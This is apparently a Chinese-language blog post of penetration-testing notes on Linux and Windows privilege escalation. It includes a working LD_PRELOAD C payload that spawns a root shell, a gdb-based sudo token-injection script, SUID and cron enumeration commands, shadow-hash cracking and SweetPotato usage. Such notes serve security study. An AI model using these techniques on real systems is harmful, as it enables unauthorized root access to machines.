目录

  1. 1. 前言
  2. 2. Linux提权
    1. 2.1. sudo提权
      1. 2.1.1. 权限配置不当
      2. 2.1.2. CVE-2021-3156
    2. 2.2. suid提权
    3. 2.3. 明文root密码提权
    4. 2.4. 计划任务提权
  3. 3. Windows提权
    1. 3.1. SweetPotato

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

权限提升

2024/4/19 渗透 提权
  |     |   总文章阅读量:

前言

参考:

https://www.freebuf.com/articles/system/377304.html

https://www.cnblogs.com/yokan/p/16300797.html

https://www.cnblogs.com/yuy0ung/articles/18421480

提权辅助工具:https://github.com/mzfr/gtfo


Linux提权

sudo提权

在 Linux/Unix 中,/etc/sudoers 文件是 sudo 权限的配置文件,其中储存了一些用户或组可以以 root 权限使用的命令

查看当前 sudo 权限

sudo -l

读取配置文件(需要高权限)

cat /etc/sudoers

权限配置不当

当配置普通用户 sudo 权限时,设置了免密的 sudo 用户,即该用户不需要输入口令即可执行特权命令

利用思路:

  • 免密使用 sudo 权限执行某些命令,重新获取一个 root 身份的shell
  • 某些工具允许免密 sudo 运行,且能够运行脚本/配置文件,可以修改脚本/配置文件实现获取一个 root 身份的shell
  • 免密使用 sudo 权限执行某些命令,获取 /etc/shadow 第一行 root 的密码哈希,再进行爆破获取明文密码
  • 免密使用 sudo 权限执行某些命令,用新的 root 密码哈希覆盖掉原本的 /etc/shadow

具体的提权方式:

  • 脚本篡改:免密 sudo 执行某些可用的高权限脚本

  • 脚本参数:脚本无可写权限,但是接收参数,可以以高权限执行低权限写入的脚本

  • 绕过路径:配置 sudoers 时对目录使用了通配符,可使用 .. 进行目录穿越

  • LD_PRELOAD:需要配置env_keep+=LD_PRELOAD在 sudo 执行时保留 LD_PRELOAD 环境变量

    #include<stdio.h>
    #include<sys/types.h>
    #include<stdlib.h>
    void _init(){
    	unsetenv("LD_PRELOAD"); //不让环境变量重置,保持使用现在的共享库
    	setresuid(0,0,0);
    	system("/bin/bash -p");
    }
    
    // gcc -shared -fPIC -o shell.so shell.c -nostartfiles
    // sudo LD_PRELOAD=/tmp/shell.so 免密sudo命令
  • caching提权

    用户第一次使用sudo命令时,系统会提示用户输入密码,然后将用户的身份验证信息缓存起来,通常在 15 分钟内(可以通过在配置文件中修改 timestamp_timeout 参数来修改缓存时间)。用户在此时间内无需再次输入密码就可以执行 sudo 命令,从而提高效率。不过,sudo 缓存也有一些安全风险。如果渗透测试人员能够获得此用户的权限,那么在 sudo 缓存时间内,他们就可以无须输入密码执行sudo命令,从而获得更高的权限

    sudoers文件中有三个参数与之有关,分别是 !authenticatetimestamp_timeout=-1!tty_tickets

    • authenticate 参数用于配置使用 sudo 命令时是否需要输入密码。如果启用了 authenticate 参数,则用户在使用 sudo 命令时需要输入密码;如果禁用了 authenticate 参数,则用户在使用 sudo 命令时无需输入密码。当在参数前添加符号“!”时,表示该参数被禁用
    • timestamp_timeout 参数用于设置在使用 sudo 命令时的超时时间。如果设置了 timestamp_timeout 参数,则在指定的时间间隔内,用户无需再次输入密码即可使用 sudo 命令。当 timestamp_timeout 参数设置为 -1 时,意味着用户在当前终端窗口永远不需要输入密码
    • tty_tickets 参数用于启用或禁用 TTY(teletype,终端)票据功能。如果启用了 TTY 票据功能,则用户在每个终端上执行 sudo 命令时都需要输入密码;如果禁用了 TTY 票据功能,则用户在使用 sudo 命令时只需要输入一次密码,在其他终端中无需再输入
  • 令牌进程注入提权:https://github.com/nongiach/sudo_inject

    当用户使用 sudo 执行命令后,会在 /var/run/sudo/ts 目录中创建一个带有用户名的时间戳文件。此文件包含有关用户身份验证成功或失败的信息。sudo 程序使用此信息来跟踪已通过身份验证的进程,以便在需要时提供适当的权限

    Linux 系统在文件 /proc/sys/kernel/yama/ptrace_scope 中配置了用于控制进程追踪(Process Tracing)的权限,进程追踪是一种调试技术,它允许一个进程检查和控制另一个进程的执行

    • 当文件内容为 0 时,允许所有进程被追踪;
    • 当文件内容为 1 时,只允许父进程对子进程进行追踪;
    • 当文件内容为 2 时,禁止所有进程被追踪。

    如果当前系统的 ptrace_scope 值设置为 0,并且此时有用户使用 sudo 来执行命令,则可以尝试激活 /var/lib/sudo/ts/ 目录下的所有 sudo 会话的令牌,注入具有有效 sudo 令牌的进程并激活我们自己的 sudo 令牌

    #!/bin/sh
    
    # create an invalid sudo entry for the current shell
    echo | sudo -S >/dev/null 2>&1
    echo "Current process : $$"
    cp activate_sudo_token /tmp/
    chmod +x activate_sudo_token
    # timestamp_dir=$(sudo --version | grep "timestamp dir" | grep -o '/.*')
    # inject all shell belonging to the current user, our shell one :p
    for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$")
    do
            echo "Injecting process $pid -> "$(cat "/proc/$pid/comm")
            echo 'call system("echo | sudo -S /tmp/activate_sudo_token /var/lib/sudo/ts/* >/dev/null 2>&1")' \
                    | gdb -q -n -p "$pid" >/dev/null 2>&1
    done

    这段代码的效果是,在执行sudo命令时需要输入密码的情况下调用/tmp/activate_sudo_token程序,注入所有正在运行的 Shell 进程中,并传入/var/lib/sudo/ts/目录下,所有文件的路径为此程序参数,并且不会有其他输出,直到寻找到有效的 sudo 令牌进程,最后使用此 sudo 命令激活当前进程

    在脚本完成注入后执行sudo -i即可完成提权

CVE-2021-3156

参考:https://help.aliyun.com/zh/ecs/product-overview/vulnerability-announcement-or-linux-sudo-permission-vulnerability

受影响版本:1.8.2 - 1.8.31p2、1.9.0 - 1.9.5p1

检验方法:

以非root用户登录系统,并运行如下命令:

sudoedit -s /
  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

题目:https://c1oudfl0w0.github.io/blog/2024/02/14/NSSCTF-Round-18/#Becomeroot-%E5%A4%8D%E7%8E%B0


suid提权

SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义。

在执行过程中,调用者会暂时获得该SUID文件的所有者权限,且该权限只在程序执行的过程中有效

使用以下命令查找具有 SUID 权限位文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

然后参考可利用的二进制文件:https://gtfobins.github.io/


明文root密码提权

需要 /etc/shadow 可读

利用john对shadow文件中的哈希密码进行爆破


计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

列出计划任务

ls -l /etc/cron*
cat /etc/crontab 

寻找权限配置为 777 即 -rwxrwxrwx 的计划任务


Windows提权

可利用的二进制文件:https://lolbas-project.github.io/

SweetPotato

从Windows 7到Windows 10 / Server 2019的本地服务到系统权限提升漏洞,也是土豆家族的有一个提权漏洞

参考:https://cloud.tencent.com/developer/article/2249965

项目地址:https://github.com/CCob/SweetPotato

用法:

SweetPotato.exe -a "whoami"